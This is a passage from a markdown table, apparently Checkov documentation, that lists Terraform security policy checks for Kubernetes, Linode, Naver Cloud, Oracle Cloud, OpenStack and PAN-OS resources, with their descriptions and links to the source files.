[DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py)                                                                              |\n| 4457 | CKV_K8S_41      | resource | kubernetes_service_account_v1                                    | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py)                                                                              |\n| 4458 | CKV_K8S_42      | resource | kubernetes_cluster_role_binding                                  | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 4459 | CKV_K8S_42      | resource | kubernetes_cluster_role_binding_v1                               | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 4460 | CKV_K8S_42      | resource | kubernetes_role_binding                                          | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 4461 | CKV_K8S_42      | resource | kubernetes_role_binding_v1                                       | Ensure that default service accounts are not actively used                                                                                                                                               | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py)                                                                |\n| 4462 | CKV_K8S_43      | resource | kubernetes_deployment                                            | Image should use digest                                                                                                                                                                                  | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 4463 | CKV_K8S_43      | resource | kubernetes_deployment_v1                                         | Image should use digest                                                                                                                                                                                  | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 4464 | CKV_K8S_43      | resource | kubernetes_pod                                                   | Image should use digest                                                                                                                                                                                  | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 4465 | CKV_K8S_43      | resource | kubernetes_pod_v1                                                | Image should use digest                                                                                                                                                                                  | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py)                                                                                                  |\n| 4466 | CKV_K8S_44      | resource | kubernetes_service                                               | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                                      | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py)                                                                                              |\n| 4467 | CKV_K8S_44      | resource | kubernetes_service_v1                                            | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                                      | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py)                                                                                              |\n| 4468 | CKV_K8S_49      | resource | kubernetes_cluster_role                                          | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 4469 | CKV_K8S_49      | resource | kubernetes_cluster_role_v1                                       | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 4470 | CKV_K8S_49      | resource | kubernetes_role                                                  | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 4471 | CKV_K8S_49      | resource | kubernetes_role_v1                                               | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                          | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py)                                                                                              |\n| 4472 | CKV_K8S_159     | resource | kubernetes_deployment                                            | Do not admit privileged containers                                                                                                                                                                       | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 4473 | CKV_K8S_159     | resource | kubernetes_deployment_v1                                         | Do not admit privileged containers                                                                                                                                                                       | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 4474 | CKV_K8S_159     | resource | kubernetes_pod                                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 4475 | CKV_K8S_159     | resource | kubernetes_pod_v1                                                | Do not admit privileged containers                                                                                                                                                                       | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 4476 | CKV_LIN_1       | provider | linode                                                           | Ensure no hard coded Linode tokens exist in provider                                                                                                                                                     | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/linode/credentials.py)                                                                                                      |\n| 4477 | CKV_LIN_2       | resource | linode_instance                                                  | Ensure SSH key set in authorized_keys                                                                                                                                                                    | Terraform | [authorized_keys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/authorized_keys.py)                                                                                              |\n| 4478 | CKV_LIN_3       | resource | linode_user                                                      | Ensure email is set                                                                                                                                                                                      | Terraform | [user_email_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_email_set.py)                                                                                                |\n| 4479 | CKV_LIN_4       | resource | linode_user                                                      | Ensure username is set                                                                                                                                                                                   | Terraform | [user_username_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_username_set.py)                                                                                          |\n| 4480 | CKV_LIN_5       | resource | linode_firewall                                                  | Ensure Inbound Firewall Policy is not set to ACCEPT                                                                                                                                                      | Terraform | [firewall_inbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_inbound_policy.py)                                                                              |\n| 4481 | CKV_LIN_6       | resource | linode_firewall                                                  | Ensure Outbound Firewall Policy is not set to ACCEPT                                                                                                                                                     | Terraform | [firewall_outbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_outbound_policy.py)                                                                            |\n| 4482 | CKV_NCP_1       | resource | ncloud_lb_target_group                                           | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform | [LBTargetGroupDefinesHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py)                                                                 |\n| 4483 | CKV_NCP_2       | resource | ncloud_access_control_group                                      | Ensure every access control groups rule has a description                                                                                                                                                | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py)                                                             |\n| 4484 | CKV_NCP_2       | resource | ncloud_access_control_group_rule                                 | Ensure every access control groups rule has a description                                                                                                                                                | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py)                                                             |\n| 4485 | CKV_NCP_3       | resource | ncloud_access_control_group_rule                                 | Ensure no security group rules allow outbound traffic to 0.0.0.0/0                                                                                                                                       | Terraform | [AccessControlGroupOutboundRule.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py)                                                                   |\n| 4486 | CKV_NCP_4       | resource | ncloud_access_control_group_rule                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 22                                                                                                                                  | Terraform | [AccessControlGroupInboundRulePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py)                                                         |\n| 4487 | CKV_NCP_5       | resource | ncloud_access_control_group_rule                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 3389                                                                                                                                | Terraform | [AccessControlGroupInboundRulePort3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py)                                                     |\n| 4488 | CKV_NCP_6       | resource | ncloud_server                                                    | Ensure Server instance is encrypted.                                                                                                                                                                     | Terraform | [ServerEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py)                                                                                         |\n| 4489 | CKV_NCP_7       | resource | ncloud_launch_configuration                                      | Ensure Basic Block storage is encrypted.                                                                                                                                                                 | Terraform | [LaunchConfigurationEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py)                                                               |\n| 4490 | CKV_NCP_8       | resource | ncloud_network_acl_rule                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform | [NACLInbound20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound20.py)                                                                                                     |\n| 4491 | CKV_NCP_9       | resource | ncloud_network_acl_rule                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform | [NACLInbound21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound21.py)                                                                                                     |\n| 4492 | CKV_NCP_10      | resource | ncloud_network_acl_rule                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform | [NACLInbound22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound22.py)                                                                                                     |\n| 4493 | CKV_NCP_11      | resource | ncloud_network_acl_rule                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform | [NACLInbound3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound3389.py)                                                                                                 |\n| 4494 | CKV_NCP_12      | resource | ncloud_network_acl_rule                                          | An inbound Network ACL rule should not allow ALL ports.                                                                                                                                                  | Terraform | [NACLPortCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLPortCheck.py)                                                                                                     |\n| 4495 | CKV_NCP_13      | resource | ncloud_lb_listener                                               | Ensure LB Listener uses only secure protocols                                                                                                                                                            | Terraform | [LBListenerUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py)                                                                     |\n| 4496 | CKV_NCP_14      | resource | ncloud_nas_volume                                                | Ensure NAS is securely encrypted                                                                                                                                                                         | Terraform | [NASEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py)                                                                                       |\n| 4497 | CKV_NCP_15      | resource | ncloud_lb_target_group                                           | Ensure Load Balancer Target Group is not using HTTP                                                                                                                                                      | Terraform | [LBTargetGroupUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py)                                                                                 |\n| 4498 | CKV_NCP_16      | resource | ncloud_lb                                                        | Ensure Load Balancer isn't exposed to the internet                                                                                                                                                       | Terraform | [LBNetworkPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py)                                                                                               |\n| 4499 | CKV_NCP_18      | resource | ncloud_auto_scaling_group                                        | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks.                                                                                        | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml)                                                                               |\n| 4500 | CKV_NCP_18      | resource | ncloud_lb_target_group                                           | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks.                                                                                        | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml)                                                                               |\n| 4501 | CKV_NCP_19      | resource | ncloud_nks_cluster                                               | Ensure Naver Kubernetes Service public endpoint disabled                                                                                                                                                 | Terraform | [NKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSPublicAccess.py)                                                                                                 |\n| 4502 | CKV_NCP_20      | resource | ncloud_route                                                     | Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to allow connectivity                                                                                    | Terraform | [RouteTableNATGatewayDefault.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py)                                                                         |\n| 4503 | CKV_NCP_22      | resource | ncloud_nks_cluster                                               | Ensure NKS control plane logging enabled for all log types                                                                                                                                               | Terraform | [NKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py)                                                                                   |\n| 4504 | CKV_NCP_22      | resource | ncloud_route_table                                               | Ensure a route table for the public subnets is created.                                                                                                                                                  | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml)                                                       |\n| 4505 | CKV_NCP_22      | resource | ncloud_subnet                                                    | Ensure a route table for the public subnets is created.                                                                                                                                                  | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml)                                                       |\n| 4506 | CKV_NCP_23      | resource | ncloud_public_ip                                                 | Ensure Server instance should not have public IP.                                                                                                                                                        | Terraform | [ServerPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerPublicIP.py)                                                                                                   |\n| 4507 | CKV_NCP_24      | resource | ncloud_lb_listener                                               | Ensure Load Balancer Listener Using HTTPS                                                                                                                                                                | Terraform | [LBListenerUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py)                                                                                       |\n| 4508 | CKV_NCP_25      | resource | ncloud_access_control_group_rule                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 80                                                                                                                                  | Terraform | [AccessControlGroupInboundRulePort80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py)                                                         |\n| 4509 | CKV_NCP_26      | resource | ncloud_access_control_group                                      | Ensure Access Control Group has Access Control Group Rule attached                                                                                                                                       | Terraform | [AccessControlGroupRuleDefine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml)                                                               |\n| 4510 | CKV_OCI_1       | provider | oci                                                              | Ensure no hard coded OCI private key in provider                                                                                                                                                         | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/oci/credentials.py)                                                                                                         |\n| 4511 | CKV_OCI_2       | resource | oci_core_volume                                                  | Ensure OCI Block Storage Block Volume has backup enabled                                                                                                                                                 | Terraform | [StorageBlockBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py)                                                                             |\n| 4512 | CKV_OCI_3       | resource | oci_core_volume                                                  | OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK)                                                                                                                      | Terraform | [StorageBlockEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockEncryption.py)                                                                                   |\n| 4513 | CKV_OCI_4       | resource | oci_core_instance                                                | Ensure OCI Compute Instance boot volume has in-transit data encryption enabled                                                                                                                           | Terraform | [InstanceBootVolumeIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py)                                                     |\n| 4514 | CKV_OCI_5       | resource | oci_core_instance                                                | Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled                                                                                                                                | Terraform | [InstanceMetadataServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py)                                                                   |\n| 4515 | CKV_OCI_6       | resource | oci_core_instance                                                | Ensure OCI Compute Instance has monitoring enabled                                                                                                                                                       | Terraform | [InstanceMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py)                                                                             |\n| 4516 | CKV_OCI_7       | resource | oci_objectstorage_bucket                                         | Ensure OCI Object Storage bucket can emit object events                                                                                                                                                  | Terraform | [ObjectStorageEmitEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py)                                                                                 |\n| 4517 | CKV_OCI_8       | resource | oci_objectstorage_bucket                                         | Ensure OCI Object Storage has versioning enabled                                                                                                                                                         | Terraform | [ObjectStorageVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py)                                                                                 |\n| 4518 | CKV_OCI_9       | resource | oci_objectstorage_bucket                                         | Ensure OCI Object Storage is encrypted with Customer Managed Key                                                                                                                                         | Terraform | [ObjectStorageEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py)                                                                                 |\n| 4519 | CKV_OCI_10      | resource | oci_objectstorage_bucket                                         | Ensure OCI Object Storage is not Public                                                                                                                                                                  | Terraform | [ObjectStoragePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStoragePublic.py)                                                                                         |\n| 4520 | CKV_OCI_11      | resource | oci_identity_authentication_policy                               | OCI IAM password policy - must contain lower case                                                                                                                                                        | Terraform | [IAMPasswordPolicyLowerCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py)                                                                           |\n| 4521 | CKV_OCI_12      | resource | oci_identity_authentication_policy                               | OCI IAM password policy - must contain Numeric characters                                                                                                                                                | Terraform | [IAMPasswordPolicyNumeric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py)                                                                               |\n| 4522 | CKV_OCI_13      | resource | oci_identity_authentication_policy                               | OCI IAM password policy - must contain Special characters                                                                                                                                                | Terraform | [IAMPasswordPolicySpecialCharacters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py)                                                           |\n| 4523 | CKV_OCI_14      | resource | oci_identity_authentication_policy                               | OCI IAM password policy - must contain Uppercase characters                                                                                                                                              | Terraform | [IAMPasswordPolicyUpperCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py)                                                                           |\n| 4524 | CKV_OCI_15      | resource | oci_file_storage_file_system                                     | Ensure OCI File System is Encrypted with a customer Managed Key                                                                                                                                          | Terraform | [FileSystemEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/FileSystemEncryption.py)                                                                                       |\n| 4525 | CKV_OCI_16      | resource | oci_core_security_list                                           | Ensure VCN has an inbound security list                                                                                                                                                                  | Terraform | [SecurityListIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngress.py)                                                                                         |\n| 4526 | CKV_OCI_17      | resource | oci_core_security_list                                           | Ensure VCN inbound security lists are stateless                                                                                                                                                          | Terraform | [SecurityListIngressStateless.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py)                                                                       |\n| 4527 | CKV_OCI_18      | resource | oci_identity_authentication_policy                               | OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters                                                                                                            | Terraform | [IAMPasswordLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordLength.py)                                                                                             |\n| 4528 | CKV_OCI_19      | resource | oci_core_security_list                                           | Ensure no security list allow ingress from 0.0.0.0:0 to port 22.                                                                                                                                         | Terraform | [SecurityListUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py)                                                             |\n| 4529 | CKV_OCI_20      | resource | oci_core_security_list                                           | Ensure no security list allow ingress from 0.0.0.0:0 to port 3389.                                                                                                                                       | Terraform | [SecurityListUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py)                                                         |\n| 4530 | CKV_OCI_21      | resource | oci_core_network_security_group_security_rule                    | Ensure security group has stateless ingress security rules                                                                                                                                               | Terraform | [SecurityGroupsIngressStatelessSecurityRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py)                                         |\n| 4531 | CKV_OCI_22      | resource | oci_core_network_security_group_security_rule                    | Ensure no security groups rules allow ingress from 0.0.0.0/0 to port 22                                                                                                                                  | Terraform | [AbsSecurityGroupUnrestrictedIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py)                                                         |\n| 4532 | CKV_OCI_23      | resource | oci_datacatalog_catalog                                          | Ensure OCI Data Catalog is configured without overly permissive network access                                                                                                                           | Terraform | [DataCatalogWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py)                                                                         |\n| 4533 | CKV2_OCI_1      | resource | oci_identity_group                                               | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 4534 | CKV2_OCI_1      | resource | oci_identity_user                                                | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 4535 | CKV2_OCI_1      | resource | oci_identity_user_group_membership                               | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 4536 | CKV2_OCI_2      | resource | oci_core_network_security_group_security_rule                    | Ensure NSG does not allow all traffic on RDP port (3389)                                                                                                                                                 | Terraform | [OCI_NSGNotAllowRDP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml)                                                                                   |\n| 4537 | CKV2_OCI_3      | resource | oci_containerengine_cluster                                      | Ensure Kubernetes engine cluster is configured with NSG(s)                                                                                                                                               | Terraform | [OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml)                       |\n| 4538 | CKV2_OCI_4      | resource | oci_file_storage_export                                          | Ensure File Storage File System access is restricted to root users                                                                                                                                       | Terraform | [OCI_NFSaccessRestrictedToRootUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml)                                                   |\n| 4539 | CKV2_OCI_5      | resource | oci_containerengine_node_pool                                    | Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption                                                                                                               | Terraform | [OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml)                 |\n| 4540 | CKV2_OCI_6      | resource | oci_containerengine_cluster                                      | Ensure Kubernetes Engine Cluster pod security policy is enforced                                                                                                                                         | Terraform | [OCI_K8EngineClusterPodSecPolicyEnforced.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml)                                         |\n| 4541 | CKV_OPENSTACK_1 | provider | openstack                                                        | Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider                                                                                                      | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/openstack/credentials.py)                                                                                                   |\n| 4542 | CKV_OPENSTACK_2 | resource | openstack_compute_secgroup_v2                                    | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp)                                                                                                                            | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py)                                                     |\n| 4543 | CKV_OPENSTACK_2 | resource | openstack_networking_secgroup_rule_v2                            | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp)                                                                                                                            | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py)                                                     |\n| 4544 | CKV_OPENSTACK_3 | resource | openstack_compute_secgroup_v2                                    | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp)                                                                                                                          | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py)                                                 |\n| 4545 | CKV_OPENSTACK_3 | resource | openstack_networking_secgroup_rule_v2                            | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp)                                                                                                                          | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py)                                                 |\n| 4546 | CKV_OPENSTACK_4 | resource | openstack_compute_instance_v2                                    | Ensure that instance does not use basic credentials                                                                                                                                                      | Terraform | [ComputeInstanceAdminPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py)                                                                 |\n| 4547 | CKV_OPENSTACK_5 | resource | openstack_fw_rule_v1                                             | Ensure firewall rule set a destination IP                                                                                                                                                                | Terraform | [FirewallRuleSetDestinationIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py)                                                                 |\n| 4548 | CKV_PAN_1       | provider | panos                                                            | Ensure no hard coded PAN-OS credentials exist in provider                                                                                                                                                | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/panos/credentials.py)                                                                                                       |\n| 4549 | CKV_PAN_2       | resource | panos_management_profile                                         | Ensure plain-text management HTTP is not enabled for an Interface Management Profile                                                                                                                     | Terraform | [InterfaceMgmtProfileNoHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py)                                                                         |\n| 4550 | CKV_PAN_3       | resource | panos_management_profile                                         | Ensure plain-text management Telnet is not enabled for an Interface Management Profile                                                                                                                   | Terraform | [InterfaceMgmtProfileNoTelnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py)                                                                     |\n| 4551 | CKV_PAN_4       | resource | panos_security_policy                                            | Ensure DSRI is not enabled within security policies                                                                                                                                                      | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py)                                                                                                     |\n| 4552 | CKV_PAN_4       | resource | panos_security_rule_group                                        | Ensure DSRI is not enabled within security policies                                                                                                                                                      | Terraform | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py)                                                                                                     |\n| 4553 | CKV_PAN_5       | resource | panos_security_policy                                            | Ensure security rules do not have 'applications' set to 'any'                                                                                                                                            | Terraform | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py)                                                                                 |\n| 4554 | CKV_PAN_5       | resource | panos_security_rule_group                                        | Ensure security rules do not have 'applications' set to 